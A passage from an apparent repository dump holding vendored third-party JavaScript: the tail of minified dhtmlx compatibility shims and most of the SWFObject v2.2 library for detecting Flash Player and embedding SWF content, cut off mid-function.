this.cells(a).isOpened()};dhtmlXAccordion.prototype.openItem=function(a){this.cells(a).open()};dhtmlXAccordion.prototype.closeItem=function(a){this.cells(a).close()};dhtmlXAccordion.prototype.moveOnTop=function(a){this.cells(a).moveOnTop()};dhtmlXAccordion.prototype.setItemHeight=function(a){this.cells(id).setHeight(a)};dhtmlXAccordion.prototype.setText=function(b,a){this.cells(b).setText(a)};dhtmlXAccordion.prototype.getText=function(){return this.cells(id).getText()};dhtmlXAccordion.prototype.showItem=function(a){this.cells(a).show()};dhtmlXAccordion.prototype.hideItem=function(a){this.cells(a).hide()};dhtmlXAccordion.prototype.isItemHidden=function(a){return !this.cells(a).isVisible()};dhtmlXAccordion.prototype.loadJSON=function(a,b){this.loadStruct(a,b)};dhtmlXAccordion.prototype.loadXML=function(a,b){this.loadStruct(a,b)};dhtmlXAccordion.prototype.setSkinParameters=function(a,b){if(a!=null){this.setOffset(a)}};dhtmlXLayoutObject.prototype.listViews=function(){return this.listPatterns()};dhtmlXLayoutObject.prototype.setEffect=function(){};dhtmlXLayoutObject.prototype.getEffect=function(){};dhtmlXLayoutObject.prototype.dockWindow=function(a){this.cells(a).dock()};dhtmlXLayoutObject.prototype.unDockWindow=function(a){this.cells(a).undock()};dhtmlXLayoutObject.prototype.setCollapsedText=function(b,a){this.cells(b).setCollapsedText(a)};dhtmlXLayoutObject.prototype.getIdByIndex=function(a){if(a<0||a>this.items.length-1){return null}var b=null;this.forEachItem(function(c){if(b==null&&c==this.items[a]){b=c.conf.name}});return b};dhtmlXLayoutObject.prototype.getIndexById=function(d){var a=this.cells(d);var b=-1;for(var c=0;c<this.items.length;c++){if(a==this.items[c]){b=c}}return b};dhtmlXLayoutObject.prototype.showPanel=function(a){this.cells(a).showHeader()};dhtmlXLayoutObject.prototype.hidePanel=function(a){this.cells(a).hideHeader()};dhtmlXLayoutObject.prototype.isPanelVisible=function(a){return this.cells(a).isHeaderVisible()};dhtmlXLayoutObject.prototype.setImagePath=function(){};dhtmlXLayoutCell.prototype.getIndex=function(){return this.conf.index};dhtmlXTabBar.prototype.destructor=function(){this.unload()};dhtmlXTabBar.prototype.normalize=function(){};dhtmlXTabBar.prototype.setStyle=function(){};dhtmlXTabBar.prototype.setContent=function(b,a){this.cells(b).attachObject(a)};dhtmlXTabBar.prototype.setContentHTML=function(b,a){this.cells(b).attachHTMLString(a)};dhtmlXTabBar.prototype.setHrefMode=function(a){this._hrfmode=a};dhtmlXTabBar.prototype.setContentHref=function(b,a){if(!this._hrfmode){this._hrfmode=\"iframe\"}switch(this._hrfmode){case\"iframes\":case\"iframe\":case\"iframes-on-demand\":this.cells(b).attachURL(a);break;case\"ajax\":case\"ajax-html\":this.cells(b).attachURL(a,true);break}};dhtmlXTabBar.prototype.setMargin=function(){};dhtmlXTabBar.prototype.setOffset=function(){};dhtmlXTabBar.prototype.setImagePath=function(b,a){};dhtmlXTabBar.prototype.setSkinColors=function(b,a){};dhtmlXTabBar.prototype.tabWindow=function(a){return this.cells(a).getFrame()};dhtmlXTabBar.prototype.setCustomStyle=function(){};dhtmlXTabBar.prototype.enableScroll=function(){};dhtmlXTabBar.prototype.enableForceHiding=function(){};dhtmlXTabBar.prototype.setSize=function(a,b){this.base.style.width=a+\"px\";this.base.style.height=b+\"px\";this.setSizes()};dhtmlXTabBar.prototype.enableAutoSize=function(){};dhtmlXTabBar.prototype.adjustOuterSize=function(){this.setSizes()};dhtmlXTabBar.prototype.showInnerScroll=function(c){for(var b in this.t){if(c==null||c==b){this.t[b].cell.showInnerScroll()}}};dhtmlXTabBar.prototype.loadXML=function(a,b){this.loadStruct.apply(this,[a,b])};dhtmlXTabBar.prototype.loadXMLString=function(b,a){this.loadStruct.apply(this,[b,a])};dhtmlXTabBar.prototype.hideTab=function(b,a){this.tabs(b).hide(a)};dhtmlXTabBar.prototype.showTab=function(b,a){this.tabs(b).show(a)};dhtmlXTabBar.prototype.enableTab=function(a){this.tabs(a).enable()};dhtmlXTabBar.prototype.disableTab=function(a){this.tabs(a).disable()};dhtmlXTabBar.prototype.getIndex=function(a){return this.tabs(a).getIndex()};dhtmlXTabBar.prototype.getLabel=function(a){return this.tabs(a).getText()};dhtmlXTabBar.prototype.setLabel=function(b,a){this.tabs(b).setText(a)};dhtmlXTabBar.prototype.setTabActive=function(a){this.tabs(a).setActive()};dhtmlXTabBar.prototype.removeTab=function(a){this.tabs(a).close()};dhtmlXTabBar.prototype.forceLoad=function(a){this.tabs(a).reloadURL()};dhtmlXWindows.prototype.enableAutoViewport=function(){};dhtmlXWindows.prototype.setImagePath=function(){};dhtmlXWindows.prototype.setEffect=function(){};dhtmlXWindows.prototype.getEffect=function(){};dhtmlXWindowsCell.prototype.setToFullScreen=function(){};dhtmlXWindowsCell.prototype.setIcon=function(){};dhtmlXWindowsCell.prototype.getIcon=function(){};dhtmlXWindowsCell.prototype.restoreIcon=function(){};dhtmlXWindowsCell.prototype.clearIcon=function(){};"
  },
  {
    "path": "antSword/static/libs/dhtmlx/codebase/ext/swfobject.js",
    "content": "/*!\tSWFObject v2.2 <http://code.google.com/p/swfobject/> \n\tis released under the MIT License <http://www.opensource.org/licenses/mit-license.php> \n*/\n\nvar swfobject = function() {\n\t\n\tvar UNDEF = \"undefined\",\n\t\tOBJECT = \"object\",\n\t\tSHOCKWAVE_FLASH = \"Shockwave Flash\",\n\t\tSHOCKWAVE_FLASH_AX = \"ShockwaveFlash.ShockwaveFlash\",\n\t\tFLASH_MIME_TYPE = \"application/x-shockwave-flash\",\n\t\tEXPRESS_INSTALL_ID = \"SWFObjectExprInst\",\n\t\tON_READY_STATE_CHANGE = \"onreadystatechange\",\n\t\t\n\t\twin = window,\n\t\tdoc = document,\n\t\tnav = navigator,\n\t\t\n\t\tplugin = false,\n\t\tdomLoadFnArr = [main],\n\t\tregObjArr = [],\n\t\tobjIdArr = [],\n\t\tlistenersArr = [],\n\t\tstoredAltContent,\n\t\tstoredAltContentId,\n\t\tstoredCallbackFn,\n\t\tstoredCallbackObj,\n\t\tisDomLoaded = false,\n\t\tisExpressInstallActive = false,\n\t\tdynamicStylesheet,\n\t\tdynamicStylesheetMedia,\n\t\tautoHideShow = true,\n\t\n\t/* Centralized function for browser feature detection\n\t\t- User agent string detection is only used when no good alternative is possible\n\t\t- Is executed directly for optimal performance\n\t*/\t\n\tua = function() {\n\t\tvar w3cdom = typeof doc.getElementById != UNDEF && typeof doc.getElementsByTagName != UNDEF && typeof doc.createElement != UNDEF,\n\t\t\tu = nav.userAgent.toLowerCase(),\n\t\t\tp = nav.platform.toLowerCase(),\n\t\t\twindows = p ? /win/.test(p) : /win/.test(u),\n\t\t\tmac = p ? /mac/.test(p) : /mac/.test(u),\n\t\t\twebkit = /webkit/.test(u) ? parseFloat(u.replace(/^.*webkit\\/(\\d+(\\.\\d+)?).*$/, \"$1\")) : false, // returns either the webkit version or false if not webkit\n\t\t\tie = !+\"\\v1\", // feature detection based on Andrea Giammarchi's solution: http://webreflection.blogspot.com/2009/01/32-bytes-to-know-if-your-browser-is-ie.html\n\t\t\tplayerVersion = [0,0,0],\n\t\t\td = null;\n\t\tif (typeof nav.plugins != UNDEF && typeof nav.plugins[SHOCKWAVE_FLASH] == OBJECT) {\n\t\t\td = nav.plugins[SHOCKWAVE_FLASH].description;\n\t\t\tif (d && !(typeof nav.mimeTypes != UNDEF && nav.mimeTypes[FLASH_MIME_TYPE] && !nav.mimeTypes[FLASH_MIME_TYPE].enabledPlugin)) { // navigator.mimeTypes[\"application/x-shockwave-flash\"].enabledPlugin indicates whether plug-ins are enabled or disabled in Safari 3+\n\t\t\t\tplugin = true;\n\t\t\t\tie = false; // cascaded feature detection for Internet Explorer\n\t\t\t\td = d.replace(/^.*\\s+(\\S+\\s+\\S+$)/, \"$1\");\n\t\t\t\tplayerVersion[0] = parseInt(d.replace(/^(.*)\\..*$/, \"$1\"), 10);\n\t\t\t\tplayerVersion[1] = parseInt(d.replace(/^.*\\.(.*)\\s.*$/, \"$1\"), 10);\n\t\t\t\tplayerVersion[2] = /[a-zA-Z]/.test(d) ? parseInt(d.replace(/^.*[a-zA-Z]+(.*)$/, \"$1\"), 10) : 0;\n\t\t\t}\n\t\t}\n\t\telse if (typeof win.ActiveXObject != UNDEF) {\n\t\t\ttry {\n\t\t\t\tvar a = new ActiveXObject(SHOCKWAVE_FLASH_AX);\n\t\t\t\tif (a) { // a will return null when ActiveX is disabled\n\t\t\t\t\td = a.GetVariable(\"$version\");\n\t\t\t\t\tif (d) {\n\t\t\t\t\t\tie = true; // cascaded feature detection for Internet Explorer\n\t\t\t\t\t\td = d.split(\" \")[1].split(\",\");\n\t\t\t\t\t\tplayerVersion = [parseInt(d[0], 10), parseInt(d[1], 10), parseInt(d[2], 10)];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch(e) {}\n\t\t}\n\t\treturn { w3:w3cdom, pv:playerVersion, wk:webkit, ie:ie, win:windows, mac:mac };\n\t}(),\n\t\n\t/* Cross-browser onDomLoad\n\t\t- Will fire an event as soon as the DOM of a web page is loaded\n\t\t- Internet Explorer workaround based on Diego Perini's solution: http://javascript.nwbox.com/IEContentLoaded/\n\t\t- Regular onload serves as fallback\n\t*/ \n\tonDomLoad = function() {\n\t\tif (!ua.w3) { return; }\n\t\tif ((typeof doc.readyState != UNDEF && doc.readyState == \"complete\") || (typeof doc.readyState == UNDEF && (doc.getElementsByTagName(\"body\")[0] || doc.body))) { // function is fired after onload, e.g. when script is inserted dynamically \n\t\t\tcallDomLoadFunctions();\n\t\t}\n\t\tif (!isDomLoaded) {\n\t\t\tif (typeof doc.addEventListener != UNDEF) {\n\t\t\t\tdoc.addEventListener(\"DOMContentLoaded\", callDomLoadFunctions, false);\n\t\t\t}\t\t\n\t\t\tif (ua.ie && ua.win) {\n\t\t\t\tdoc.attachEvent(ON_READY_STATE_CHANGE, function() {\n\t\t\t\t\tif (doc.readyState == \"complete\") {\n\t\t\t\t\t\tdoc.detachEvent(ON_READY_STATE_CHANGE, arguments.callee);\n\t\t\t\t\t\tcallDomLoadFunctions();\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t\tif (win == top) { // if not inside an iframe\n\t\t\t\t\t(function(){\n\t\t\t\t\t\tif (isDomLoaded) { return; }\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\tdoc.documentElement.doScroll(\"left\");\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcatch(e) {\n\t\t\t\t\t\t\tsetTimeout(arguments.callee, 0);\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcallDomLoadFunctions();\n\t\t\t\t\t})();\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (ua.wk) {\n\t\t\t\t(function(){\n\t\t\t\t\tif (isDomLoaded) { return; }\n\t\t\t\t\tif (!/loaded|complete/.test(doc.readyState)) {\n\t\t\t\t\t\tsetTimeout(arguments.callee, 0);\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t\tcallDomLoadFunctions();\n\t\t\t\t})();\n\t\t\t}\n\t\t\taddLoadEvent(callDomLoadFunctions);\n\t\t}\n\t}();\n\t\n\tfunction callDomLoadFunctions() {\n\t\tif (isDomLoaded) { return; }\n\t\ttry { // test if we can really add/remove elements to/from the DOM; we don't want to fire it too early\n\t\t\tvar t = doc.getElementsByTagName(\"body\")[0].appendChild(createElement(\"span\"));\n\t\t\tt.parentNode.removeChild(t);\n\t\t}\n\t\tcatch (e) { return; }\n\t\tisDomLoaded = true;\n\t\tvar dl = domLoadFnArr.length;\n\t\tfor (var i = 0; i < dl; i++) {\n\t\t\tdomLoadFnArr[i]();\n\t\t}\n\t}\n\t\n\tfunction addDomLoadEvent(fn) {\n\t\tif (isDomLoaded) {\n\t\t\tfn();\n\t\t}\n\t\telse { \n\t\t\tdomLoadFnArr[domLoadFnArr.length] = fn; // Array.push() is only available in IE5.5+\n\t\t}\n\t}\n\t\n\t/* Cross-browser onload\n\t\t- Based on James Edwards' solution: http://brothercake.com/site/resources/scripts/onload/\n\t\t- Will fire an event as soon as a web page including all of its assets are loaded \n\t */\n\tfunction addLoadEvent(fn) {\n\t\tif (typeof win.addEventListener != UNDEF) {\n\t\t\twin.addEventListener(\"load\", fn, false);\n\t\t}\n\t\telse if (typeof doc.addEventListener != UNDEF) {\n\t\t\tdoc.addEventListener(\"load\", fn, false);\n\t\t}\n\t\telse if (typeof win.attachEvent != UNDEF) {\n\t\t\taddListener(win, \"onload\", fn);\n\t\t}\n\t\telse if (typeof win.onload == \"function\") {\n\t\t\tvar fnOld = win.onload;\n\t\t\twin.onload = function() {\n\t\t\t\tfnOld();\n\t\t\t\tfn();\n\t\t\t};\n\t\t}\n\t\telse {\n\t\t\twin.onload = fn;\n\t\t}\n\t}\n\t\n\t/* Main function\n\t\t- Will preferably execute onDomLoad, otherwise onload (as a fallback)\n\t*/\n\tfunction main() { \n\t\tif (plugin) {\n\t\t\ttestPlayerVersion();\n\t\t}\n\t\telse {\n\t\t\tmatchVersions();\n\t\t}\n\t}\n\t\n\t/* Detect the Flash Player version for non-Internet Explorer browsers\n\t\t- Detecting the plug-in version via the object element is more precise than using the plugins collection item's description:\n\t\t  a. Both release and build numbers can be detected\n\t\t  b. Avoid wrong descriptions by corrupt installers provided by Adobe\n\t\t  c. Avoid wrong descriptions by multiple Flash Player entries in the plugin Array, caused by incorrect browser imports\n\t\t- Disadvantage of this method is that it depends on the availability of the DOM, while the plugins collection is immediately available\n\t*/\n\tfunction testPlayerVersion() {\n\t\tvar b = doc.getElementsByTagName(\"body\")[0];\n\t\tvar o = createElement(OBJECT);\n\t\to.setAttribute(\"type\", FLASH_MIME_TYPE);\n\t\tvar t = b.appendChild(o);\n\t\tif (t) {\n\t\t\tvar counter = 0;\n\t\t\t(function(){\n\t\t\t\tif (typeof t.GetVariable != UNDEF) {\n\t\t\t\t\tvar d = t.GetVariable(\"$version\");\n\t\t\t\t\tif (d) {\n\t\t\t\t\t\td = d.split(\" \")[1].split(\",\");\n\t\t\t\t\t\tua.pv = [parseInt(d[0], 10), parseInt(d[1], 10), parseInt(d[2], 10)];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse if (counter < 10) {\n\t\t\t\t\tcounter++;\n\t\t\t\t\tsetTimeout(arguments.callee, 10);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tb.removeChild(o);\n\t\t\t\tt = null;\n\t\t\t\tmatchVersions();\n\t\t\t})();\n\t\t}\n\t\telse {\n\t\t\tmatchVersions();\n\t\t}\n\t}\n\t\n\t/* Perform Flash Player and SWF version matching; static publishing only\n\t*/\n\tfunction matchVersions() {\n\t\tvar rl = regObjArr.length;\n\t\tif (rl > 0) {\n\t\t\tfor (var i = 0; i < rl; i++) { // for each registered object element\n\t\t\t\tvar id = regObjArr[i].id;\n\t\t\t\tvar cb = regObjArr[i].callbackFn;\n\t\t\t\tvar cbObj = {success:false, id:id};\n\t\t\t\tif (ua.pv[0] > 0) {\n\t\t\t\t\tvar obj = getElementById(id);\n\t\t\t\t\tif (obj) {\n\t\t\t\t\t\tif (hasPlayerVersion(regObjArr[i].swfVersion) && !(ua.wk && ua.wk < 312)) { // Flash Player version >= published SWF version: Houston, we have a match!\n\t\t\t\t\t\t\tsetVisibility(id, true);\n\t\t\t\t\t\t\tif (cb) {\n\t\t\t\t\t\t\t\tcbObj.success = true;\n\t\t\t\t\t\t\t\tcbObj.ref = getObjectById(id);\n\t\t\t\t\t\t\t\tcb(cbObj);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (regObjArr[i].expressInstall && canExpressInstall()) { // show the Adobe Express Install dialog if set by the web page author and if supported\n\t\t\t\t\t\t\tvar att = {};\n\t\t\t\t\t\t\tatt.data = regObjArr[i].expressInstall;\n\t\t\t\t\t\t\tatt.width = obj.getAttribute(\"width\") || \"0\";\n\t\t\t\t\t\t\tatt.height = obj.getAttribute(\"height\") || \"0\";\n\t\t\t\t\t\t\tif (obj.getAttribute(\"class\")) { att.styleclass = obj.getAttribute(\"class\"); }\n\t\t\t\t\t\t\tif (obj.getAttribute(\"align\")) { att.align = obj.getAttribute(\"align\"); }\n\t\t\t\t\t\t\t// parse HTML object param element's name-value pairs\n\t\t\t\t\t\t\tvar par = {};\n\t\t\t\t\t\t\tvar p = obj.getElementsByTagName(\"param\");\n\t\t\t\t\t\t\tvar pl = p.length;\n\t\t\t\t\t\t\tfor (var j = 0; j < pl; j++) {\n\t\t\t\t\t\t\t\tif (p[j].getAttribute(\"name\").toLowerCase() != \"movie\") {\n\t\t\t\t\t\t\t\t\tpar[p[j].getAttribute(\"name\")] = p[j].getAttribute(\"value\");\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tshowExpressInstall(att, par, id, cb);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse { // Flash Player and SWF version mismatch or an older Webkit engine that ignores the HTML object element's nested param elements: display alternative content instead of SWF\n\t\t\t\t\t\t\tdisplayAltContent(obj);\n\t\t\t\t\t\t\tif (cb) { cb(cbObj); }\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse {\t// if no Flash Player is installed or the fp version cannot be detected we let the HTML object element do its job (either show a SWF or alternative content)\n\t\t\t\t\tsetVisibility(id, true);\n\t\t\t\t\tif (cb) {\n\t\t\t\t\t\tvar o = getObjectById(id); // test whether there is an HTML object element or not\n\t\t\t\t\t\tif (o && typeof o.SetVariable != UNDEF) { \n\t\t\t\t\t\t\tcbObj.success = true;\n\t\t\t\t\t\t\tcbObj.ref = o;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcb(cbObj);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t\n\tfunction getObjectById(objectIdStr) {\n\t\tvar r = null;\n\t\tvar o = getElementById(objectIdStr);\n\t\tif (o && o.nodeName == \"OBJECT\") {\n\t\t\tif (typeof o.SetVariable != UNDEF) {\n\t\t\t\tr = o;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tvar n = o.getElementsByTagName(OBJECT)[0];\n\t\t\t\tif (n) {\n\t\t\t\t\tr = n;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn r;\n\t}\n\t\n\t/* Requirements for Adobe Express Install\n\t\t- only one instance can be active at a time\n\t\t- fp 6.0.65 or higher\n\t\t- Win/Mac OS only\n\t\t- no Webkit engines older than version 312\n\t*/\n\tfunction canExpressInstall() {\n\t\treturn !isExpressInstallActive && hasPlayerVersion(\"6.0.65\") && (ua.win || ua.mac) && !(ua.wk && ua.wk < 312);\n\t}\n\t\n\t/* Show the Adobe Express Install dialog\n\t\t- Reference: http://www.adobe.com/cfusion/knowledgebase/index.cfm?id=6a253b75\n\t*/\n\tfunction showExpressInstall(att, par, replaceElemIdStr, callbackFn) {\n\t\tisExpressInstallActive = true;\n\t\tstoredCallbackFn = callbackFn || null;\n\t\tstoredCallbackObj = {success:false, id:replaceElemIdStr};\n\t\tvar obj = getElementById(replaceElemIdStr);\n\t\tif (obj) {\n\t\t\tif (obj.nodeName == \"OBJECT\") { // static publishing\n\t\t\t\tstoredAltContent = abstractAltContent(obj);\n\t\t\t\tstoredAltContentId = null;\n\t\t\t}\n\t\t\telse { // dynamic publishing\n\t\t\t\tstoredAltContent = obj;\n\t\t\t\tstoredAltContentId = replaceElemIdStr;\n\t\t\t}\n\t\t\tatt.id = EXPRESS_INSTALL_ID;\n\t\t\tif (typeof att.width == UNDEF || (!/%$/.test(att.width) && parseInt(att.width, 10) < 310)) { att.width = \"310\"; }\n\t\t\tif (typeof att.height == UNDEF || (!/%$/.test(att.height) && parseInt(att.height, 10) < 137)) { att.height = \"137\"; }\n\t\t\tdoc.title = doc.title.slice(0, 47) + \" - Flash Player Installation\";\n\t\t\tvar pt = ua.ie && ua.win ? \"ActiveX\" : \"PlugIn\",\n\t\t\t\tfv = \"MMredirectURL=\" + encodeURI(window.location).toString().replace(/&/g,\"%26\") + \"&MMplayerType=\" + pt + \"&MMdoctitle=\" + doc.title;\n\t\t\tif (typeof par.flashvars != UNDEF) {\n\t\t\t\tpar.flashvars += \"&\" + fv;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tpar.flashvars = fv;\n\t\t\t}\n\t\t\t// IE only: when a SWF is loading (AND: not available in cache) wait for the readyState of the object element to become 4 before removing it,\n\t\t\t// because you cannot properly cancel a loading SWF file without breaking browser load references, also obj.onreadystatechange doesn't work\n\t\t\tif (ua.ie && ua.win && obj.readyState != 4) {\n\t\t\t\tvar newObj = createElement(\"div\");\n\t\t\t\treplaceElemIdStr += \"SWFObjectNew\";\n\t\t\t\tnewObj.setAttribute(\"id\", replaceElemIdStr);\n\t\t\t\tobj.parentNode.insertBefore(newObj, obj); // insert placeholder div that will be replaced by the object element that loads expressinstall.swf\n\t\t\t\tobj.style.display = \"none\";\n\t\t\t\t(function(){\n\t\t\t\t\tif (obj.readyState == 4) {\n\t\t\t\t\t\tobj.parentNode.removeChild(obj);\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tsetTimeout(arguments.callee, 10);\n\t\t\t\t\t}\n\t\t\t\t})();\n\t\t\t}\n\t\t\tcreateSWF(att, par, replaceElemIdStr);\n\t\t}\n\t}\n\t\n\t/* Functions to abstract and display alternative content\n\t*/\n\tfunction displayAltContent(obj) {\n\t\tif (ua.ie && ua.win && obj.readyState != 4) {\n\t\t\t// IE only: when a SWF is loading (AND: not available in cache) wait for the readyState of the object element to become 4 before removing it,\n\t\t\t// because you cannot properly cancel a loading SWF file without breaking browser load references, also obj.onreadystatechange doesn't work\n\t\t\tvar el = createElement(\"div\");\n\t\t\tobj.parentNode.insertBefore(el, obj); // insert placeholder div that will be replaced by the alternative content\n\t\t\tel.parentNode.replaceChild(abstractAltContent(obj), el);\n\t\t\tobj.style.display = \"none\";\n\t\t\t(function(){\n\t\t\t\tif (obj.readyState == 4) {\n\t\t\t\t\tobj.parentNode.removeChild(obj);\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tsetTimeout(arguments.callee, 10);\n\t\t\t\t}\n\t\t\t})();\n\t\t}\n\t\telse {\n\t\t\tobj.parentNode.replaceChild(abstractAltContent(obj), obj);\n\t\t}\n\t} \n\n\tfunction abstractAltContent(obj) {\n\t\tvar ac = createElement(\"div\");\n\t\tif (ua.win && ua.ie) {\n\t\t\tac.innerHTML = obj.innerHTML;\n\t\t}\n\t\telse {\n\t\t\tvar nestedObj = obj.getElementsByTagName(OBJECT)[0];\n\t\t\tif (nestedObj) {\n\t\t\t\tvar c = nestedObj.childNodes;\n\t\t\t\tif (c) {\n\t\t\t\t\tvar cl = c.length;\n\t\t\t\t\tfor (var i = 0; i < cl; i++) {\n\t\t\t\t\t\tif (!(c[i].nodeType == 1 && c[i].nodeName == \"PARAM\") && !(c[i].nodeType == 8)) {\n\t\t\t\t\t\t\tac.appendChild(c[i].cloneNode(true));\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn ac;\n\t}\n\t\n\t/* Cross-browser dynamic SWF creation\n\t*/\n\tfunction createSWF(attObj, parObj, id) {\n\t\tvar r, el = getElementById(id);\n\t\tif (ua.wk && ua.wk < 312) { return r; }\n\t\tif (el) {\n\t\t\tif (typeof attObj.id == UNDEF) { // if no 'id' is defined for the object element, it will inherit the 'id' from the alternative content\n\t\t\t\tattObj.id = id;\n\t\t\t}\n\t\t\tif (ua.ie && ua.win) { // Internet Explorer + the HTML object element + W3C DOM methods do not combine: fall back to outerHTML\n\t\t\t\tvar att = \"\";\n\t\t\t\tfor (var i in attObj) {\n\t\t\t\t\tif (attObj[i] != Object.prototype[i]) { // filter out prototype additions from other potential libraries\n\t\t\t\t\t\tif (i.toLowerCase() == \"data\") {\n\t\t\t\t\t\t\tparObj.movie = attObj[i];\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (i.toLowerCase() == \"styleclass\") { // 'class' is an ECMA4 reserved keyword\n\t\t\t\t\t\t\tatt += ' class=\"' + attObj[i] + '\"';\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (i.toLowerCase() != \"classid\") {\n\t\t\t\t\t\t\tatt += ' ' + i + '=\"' + attObj[i] + '\"';\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tvar par = \"\";\n\t\t\t\tfor (var j in parObj) {\n\t\t\t\t\tif (parObj[j] != Object.prototype[j]) { // filter out prototype additions from other potential libraries\n\t\t\t\t\t\tpar += '<param name=\"' + j + '\" value=\"' + parObj[j] + '\" />';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tel.outerHTML = '<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\"' + att + '>' + par + '</object>';\n\t\t\t\tobjIdArr[objIdArr.length] = attObj.id; // stored to fix object 'leaks' on unload (dynamic publishing only)\n\t\t\t\tr = getElementById(attObj.id);\t\n\t\t\t}\n\t\t\telse { // well-behaving browsers\n\t\t\t\tvar o = createElement(OBJECT);\n\t\t\t\to.setAttribute(\"type\", FLASH_MIME_TYPE);\n\t\t\t\tfor (var m in attObj) {\n\t\t\t\t\tif (attObj[m] != Object.prototype[m]) { // filter out prototype additions from other potential libraries\n\t\t\t\t\t\tif (m.toLowerCase() == \"styleclass\") { // 'class' is an ECMA4 reserved keyword\n\t\t\t\t\t\t\to.setAttribute(\"class\", attObj[m]);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (m.toLowerCase() != \"classid\") { // filter out IE specific attribute\n\t\t\t\t\t\t\to.setAttribute(m, attObj[m]);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tfor (var n in parObj) {\n\t\t\t\t\tif (parObj[n] != Object.prototype[n] && n.toLowerCase() != \"movie\") { // filter out prototype additions from other potential libraries and IE specific param element\n\t\t\t\t\t\tcreateObjParam(o, n, parObj[n]);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tel.parentNode.replaceChild(o, el);\n\t\t\t\tr = o;\n\t\t\t}\n\t\t}\n\t\treturn r;\n\t}\n\t\n\tfunction createObjParam(el, pName, pValue) {\n\t\tvar p = createElement(\"param\");\n\t\tp.setAttribute(\"name\", pName);\t\n\t\tp.setAttribute(\"value\", pValue);\n\t\tel.appendChild(p);\n\t}\n\t\n\t/* Cross-browser SWF removal\n\t\t- Especially needed to safely and completely remove a SWF in Internet Explorer\n\t*/\n\tfunction removeSWF(id) {\n\t\tvar obj = getElementById(id);\n\t\tif (obj && obj.nodeName == \"OBJECT\") {\n\t\t\tif (ua.ie && ua.win) {\n\t\t\t\tobj.style.display = \"none\";\n\t\t\t\t(function(){\n\t\t\t\t\tif (obj.readyState == 4) {\n\t\t\t\t\t\tremoveObjectInIE(id);\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tsetTimeout(arguments.callee, 10);\n\t\t\t\t\t}\n\t\t\t\t})();\n\t\t\t}\n\t\t\telse {\n\t\t\t\tobj.parentNode.removeChild(obj);\n\t\t\t}\n\t\t}\n\t}\n\t\n\tfunction removeObjectInIE(id) {\n\t\tvar obj = getElementById(id);\n\t\tif (obj) {\n\t\t\tfor (var i in obj) {\n\t\t\t\tif (typeof obj[i] == \"function\") {\n\t\t\t\t\tobj[i] = null;\n\t\t\t\t}\n\t\t\t}\n\t\t\tobj.parentNode.removeChild(obj);\n\t\t}\n\t}\n\t\n\t/* Functions to optimize JavaScript compression\n\t*/\n\tfunction getElementById(id) {\n\t\tvar el = null;\n\t\ttry {\n\t\t\tel = doc.getElementById(id);\n\t\t}\n\t\tcatch (e) {}\n\t\treturn el;\n\t}\n\t\n\tfunction createElement(el) {\n\t\treturn doc.createElement(el);\n\t}\n\t\n\t/* Updated attachEvent function for Internet Explorer\n\t\t- Stores attachEvent information in an Array, so on unload the detachEvent functions can be called to avoid memory leaks\n\t*/\t\n\tfunction addListener(target, eventType, fn) {\n\t\ttarget.attachEvent(eventType, fn);\n\t\tlistenersArr[listenersArr.length] = [target, eventType, fn];\n\t}\n\t\n\t/* Flash Player and SWF content version matching\n\t*/\n\tfunction hasPlayerVersion(rv) {\n\t\tvar pv = ua.pv, v = rv.split(\".\");\n\t\tv[0] = parseInt(v[0], 10);\n\t\tv[1] = parseInt(v[1], 10) || 0; // supports short notation, e.g. \"9\" instead of \"9.0.0\"\n\t\tv[2] = parseInt(v[2], 10) || 0;\n\t\treturn (pv[0] > v[0] || (pv[0] == v[0] && pv[1] > v[1]) || (pv[0] == v[0] && pv[1] == v[1] && pv[2] >= v[2])) ? true : false;\n\t}\n\t\n\t/* Cross-browser dynamic CSS creation\n\t\t- Based on Bobby van der Sluis' solution: http://www.bobbyvandersluis.com/articles/dynamicCSS.php\n\t*/\t\n\tfunction createCSS(sel, decl, media, newStyle) {\n\t\tif (ua.ie && ua.mac) { return; }\n\t\tvar h = doc.getElementsByTagName(\"head\")[0];\n\t\tif (!h) { return; } // to also support badly authored HTML pages that lack a head element\n\t\tvar m = (media && typeof media == \"string\") ? media : \"screen\";\n\t\tif (newStyle) {\n\t\t\tdynamicStylesheet = null;\n\t\t\tdynamicStylesheetMedia = null;\n\t\t}\n\t\tif (!dynamicStylesheet || dynamicStylesheetMedia != m) { \n\t\t\t// create dynamic stylesheet + get a global reference to it\n\t\t\tvar s = createElement(\"style\");\n\t\t\ts.setAttribute(\"type\", \"text/css\");\n\t\t\ts.setAttribute(\"media\", m);\n\t\t\tdynamicStylesheet 